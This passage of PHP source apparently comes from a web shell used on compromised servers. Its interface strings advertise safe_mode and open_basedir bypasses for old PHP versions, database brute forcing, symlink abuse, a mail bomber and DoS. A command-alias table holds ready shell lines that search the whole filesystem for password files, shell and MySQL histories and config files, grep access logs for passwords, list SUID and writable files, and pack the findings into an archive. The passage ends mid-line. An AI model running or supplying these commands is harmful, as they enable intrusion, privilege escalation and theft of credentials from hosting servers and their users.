'tr_text117'=>'to',
'tr_text118'=>'File copied',
'tr_text119'=>'Cant copy file',
'tr_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
'tr_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
'tr_text122'=>'Test bypass open_basedir, view dir list via glob (PHP <= 5.2.x)',
'tr_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
'tr_text124'=>'Test bypass open_basedir, add data to file via error_log[php://] (PHP <= 5.1.4, 4.4.2)',
'tr_text125'=>'Data',
'tr_text126'=>'Test bypass open_basedir, create file via session_save_path[lisanssız-byte] (PHP <= 5.2.0)',
'tr_text127'=>'Test bypass open_basedir, add data to file via readfile[php://] (PHP <= 5.2.1, 4.4.4)',
'tr_text128'=>'Modify/Access date(touch)',
'tr_text129'=>'Test bypass open_basedir, create file via fopen[srpath://] (PHP v5.2.0)',
'tr_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
'tr_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
'tr_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
'tr_text133'=>'',
'tr_text134'=>'Database-bruteforce',
'tr_text135'=>'Dictionary',
'tr_text136'=>'Creating evil symlink',
'tr_text137'=>'Useful',
'tr_text138'=>'Dangerous',
'tr_text139'=>'Mail Bomber',
'tr_text140'=>'DoS',
'tr_text141'=>'Danger! Web-daemon crash possible.',
'tr_err0'=>'Error! Can\'t write in file ',
'tr_err1'=>'Error! Can\'t read file ',
'tr_err2'=>'Error! Can\'t create ',
'tr_err3'=>'Error! Can\'t connect to ftp',
'tr_err4'=>'Error! Can\'t login on ftp server',
'tr_err5'=>'Error! Can\'t change dir on ftp',
'tr_err6'=>'Error! Can\'t sent mail',
'tr_err7'=>'Mail send',
);
$aliases=array(
'----------------------------------locate'=>'',
'locate httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate my.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate my.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate admin.php >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate conf.php >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.dat >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.php >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate .conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".conf" >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate .pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".pwd" >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate .sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".sql" >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".htpasswd" >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".bash_history" >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".mysql_history" >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate backup files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate backup >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate dump files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate dump >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate priv files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate priv >> /tmp/grep.txt;cat /tmp/grep.txt',
'----------------------------------tar'=>'',
'tar -czvf all.tgz -T /tmp/grep.txt'=>'tar -czvf all.tgz -T /tmp/grep.txt',
'----------------------------------1'=>'',
'locate access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access_log >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error_log >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access.log >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error.log >> /tmp/grep.txt;cat /tmp/grep.txt',
'locate ".log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".log" >> /tmp/grep.txt;cat /tmp/grep.txt',
'----------------------------------2'=>'',
'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt;cat /tmp/grep.txt'=>'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt',
'----------------------------------find'=>'',
'find suid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -04000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
'find suid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -04000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
'find sgid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -02000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
'find sgid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -02000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
'find all writable files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
'find all writable files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
'find all writable directories >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type d -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
'find all writable directories in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type d -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
'find all writable directories and files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
'find all writable directories and files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
'find all .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .htpasswd >> /tmp/grep.txt;cat /tmp/grep.txt',
'find all .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .bash_history >> /tmp/grep.txt;cat /tmp/grep.txt',
'find all .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .mysql_history >> /tmp/grep.txt;cat /tmp/grep.txt',
'find all .fetchmailrc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .fetchmailrc >> /tmp/grep.txt;cat /tmp/grep.txt',
'find httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
'find vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
'find proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
'find admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name admin.php >> /tmp/grep.txt;cat /tmp/grep.txt',
'find config* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "config*" >> /tmp/grep.txt;cat /tmp/grep.txt',
'find cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt',
'find conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name conf.php >> /tmp/grep.txt;cat /tmp/grep.txt',
'find config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.dat >> /tmp/grep.txt;cat /tmp/grep.txt',
'find config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.php >> /tmp/grep.txt;cat /tmp/grep.txt',
'find config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc >> /tmp/grep.txt;cat /tmp/grep.txt',
'find config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt',
'find config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt',
'find *.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.conf" >> /tmp/grep.txt;cat /tmp/grep.txt',
'find *.pwd files >> /tmp/grep.txt;cat /tmp/gr
lmadı: 